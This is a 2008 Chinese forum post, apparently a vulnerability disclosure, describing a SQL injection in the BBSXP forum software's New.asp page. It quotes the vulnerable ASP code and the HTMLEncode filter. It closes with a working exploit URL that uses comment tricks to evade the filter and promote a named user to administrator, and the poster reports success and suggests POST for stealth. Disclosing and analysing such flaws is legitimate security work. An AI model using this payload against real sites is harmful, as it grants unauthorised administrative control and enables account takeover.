初夏灬黄昏 發表於 2008-10-8 20:03:50

BBSXP论坛程序New.asp页面过滤不严导致SQL注入漏洞

受影响系统:<br />

BBSXP7.3<br />

BBSXP2008

漏洞文件:<br />

New.asp

代码分析:

Sort=HTMLEncode(Request(&quot;Sort&quot;)) //第24行

if Sort = empty then<br />

SqlSort=&quot;ThreadID&quot;<br />

else<br />

SqlSort=Sort<br />

end if<br />

。。。。。。<br />

sql=&quot;Select top &quot;&amp;SqlTopicCount&amp;&quot; * from [&quot;&amp;TablePrefix&amp;&quot;Threads] where Visible=1 &quot;&amp;SqlForumID&amp;&quot; &quot;&amp;SqlTimeLimit&amp;&quot; order by &quot;&amp;SqlSort&amp;&quot; desc&quot; //第66行

过滤函数HTMLEncode 在文件BBSXP_Class.asp中:<br />

Function HTMLEncode(fString)<br />

fString=Replace(fString,CHR(9),&quot;&quot;)<br />

fString=Replace(fString,CHR(13),&quot;&quot;)<br />

fString=Replace(fString,CHR(22),&quot;&quot;)<br />

fString=Replace(fString,CHR(38),&quot;&amp;#38;&quot;) '&ldquo;&amp;&rdquo;<br />

fString=Replace(fString,CHR(32),&quot;&amp;#32;&quot;) '&ldquo; &rdquo;<br />

fString=Replace(fString,CHR(34),&quot;&amp;quot;&quot;) '&ldquo;&quot;&rdquo;<br />

fString=Replace(fString,CHR(39),&quot;&amp;#39;&quot;) '&ldquo;'&rdquo;<br />

fString=Replace(fString,CHR(42)&amp;CHR(42),&quot;&amp;#42;&amp;#42;&quot;) '&ldquo;**&rdquo;/**/<br />

fString=Replace(fString,CHR(44),&quot;&amp;#44;&quot;) '&ldquo;,&rdquo;<br />

fString=Replace(fString,CHR(45)&amp;CHR(45),&quot;&amp;#45;&amp;#45;&quot;) '&ldquo;--&rdquo;<br />

fString=Replace(fString,CHR(60),&quot;&amp;#60;&quot;) '&ldquo;&lt;&rdquo;<br />

fString=Replace(fString,CHR(62),&quot;&amp;#62;&quot;) '&ldquo;&gt;&rdquo;<br />

fString=Replace(fString,CHR(92),&quot;&amp;#92;&quot;) '&ldquo;\&rdquo;<br />

fString=Replace(fString,CHR(59),&quot;&amp;#59;&quot;) '&ldquo;;&rdquo;<br />

fString=Replace(fString,CHR(10),&quot;&lt;br&gt;&quot;)<br />

fString=ReplaceText(fString,&quot;([&amp;#])(*)&amp;#59;&quot;,&quot;$1$2;&quot;)

if SiteConfig(&quot;BannedText&quot;)&lt;&gt;&quot;&quot; then fString=ReplaceText(fString,&quot;(&quot;&amp;SiteConfig(&quot;BannedText&quot;)&amp;&quot;)&quot;,string(len(&quot;&amp;$1&amp;&quot;),&quot;*&quot;))

if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi<br />

fString=escape(fString)<br />

fString=ReplaceText(fString,&quot;%u30()&quot;,&quot;&amp;#x30$1;&quot;)<br />

fString=unescape(fString)<br />

end if

HTMLEncode=fString<br />

End Function<br />

HTMLEncode过滤了Tab键,空格,** .<br />

变量SqlSort过滤不严导致sql注入漏洞的产生。

漏洞测试:<br />

http://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid<br />

成功修改用户名为lovemmm为管理员。(最好使用POST提交呵呵)

<br />
頁: [1]
查看完整版本: BBSXP论坛程序New.asp页面过滤不严导致SQL注入漏洞